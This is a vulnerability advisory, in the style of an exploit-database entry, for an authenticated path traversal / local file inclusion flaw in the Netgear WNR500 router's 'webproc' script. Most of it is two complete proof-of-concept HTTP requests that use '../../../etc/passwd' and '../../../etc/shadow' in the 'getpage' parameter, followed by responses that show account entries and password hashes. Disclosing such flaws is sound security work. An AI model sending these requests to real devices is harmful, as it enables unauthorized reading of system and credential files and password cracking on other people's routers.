Netgear Wireless Router WNR500 Traversal Arbitrary File Access Exploit

2014.11.21
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Netgear Wireless Router WNR500 Parameter Traversal Arbitrary File Access Exploit Vendor: NETGEAR Product web page: http://www.netgear.com Affected version: WNR500 (firmware: 1.0.7.2) Summary: The NETGEAR compact N150 classic wireless router (WNR500) improves your legacy Wireless-G network. It is a simple, secure way to share your Internet connection and allows you to easily surf the Internet, use email, and have online chats. The quick, CD-less setup can be done through a web browser. The small, efficient design fits perfectly into your home. Desc: The router suffers from an authenticated file inclusion vulnerability (LFI) when input passed thru the 'getpage' parameter to 'webproc' script is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks. Tested on: mini_httpd/1.19 19dec2003 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5208 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5208.php 16.11.2014 -- = 1 ============================================================= GET /cgi-bin/webproc?getpage=../../../etc/passwd&var:menu=advanced&var:page=null HTTP/1.1 Host: 192.168.1.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: sessionid=7dc3268b; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; sessionid=7dc3268b; auth=ok; expires=Mon, 31-Jan-2050 16:00:00 GMT; language=en_us Authorization: Basic YWRtaW46cGFzc3dvcmQ= Connection: keep-alive --- HTTP/1.0 200 OK Content-type: text/html Cache-Control: no-cache set-cookie: sessionid=7dc3268b; set-cookie: auth=ok; set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT; #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh = 2 ============================================================= GET /cgi-bin/webproc?getpage=../../../etc/shadow&var:menu=advanced&var:page=null HTTP/1.1 Host: 192.168.1.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: sessionid=7dc3268b; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; sessionid=7dc3268b; auth=ok; expires=Mon, 31-Jan-2050 16:00:00 GMT; language=en_us Authorization: Basic YWRtaW46cGFzc3dvcmQ= Connection: keep-alive --- HTTP/1.0 200 OK Content-type: text/html Cache-Control: no-cache set-cookie: sessionid=7dc3268b; set-cookie: auth=ok; set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT; #root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7::: root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7::: #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7::: #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5208.php


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